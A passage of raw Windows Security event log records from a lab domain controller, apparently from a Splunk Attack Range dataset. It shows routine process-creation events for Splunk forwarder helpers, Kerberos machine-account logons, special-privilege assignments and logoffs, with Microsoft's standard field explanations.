Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:21:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255563 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x880 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:21:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255566 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:21:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255565 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:21:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255567 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:21:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255569 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32D581 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62724 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:21:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255568 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32D581 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:21:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255571 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32DD03 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {68513207-EE9F-7088-7C79-4A7797658EB5} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:21:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255570 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32DD03 - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/12/2021 12:21:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255572 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32D581 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:21:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255575 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32E78D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:21:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255574 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32E78D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64537 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:21:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255573 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32E78D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255581 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EA4F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:22:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255580 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32EA4F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64540 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255579 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EA4F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255578 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32E9E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:22:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255577 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32E9E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64539 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255576 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32E9E3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255595 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255594 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EE90 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255593 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EFD8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255592 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32F021 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255591 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32F0A4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64547 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255590 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32F0A4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255589 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32F021 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64546 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255588 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32F021 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 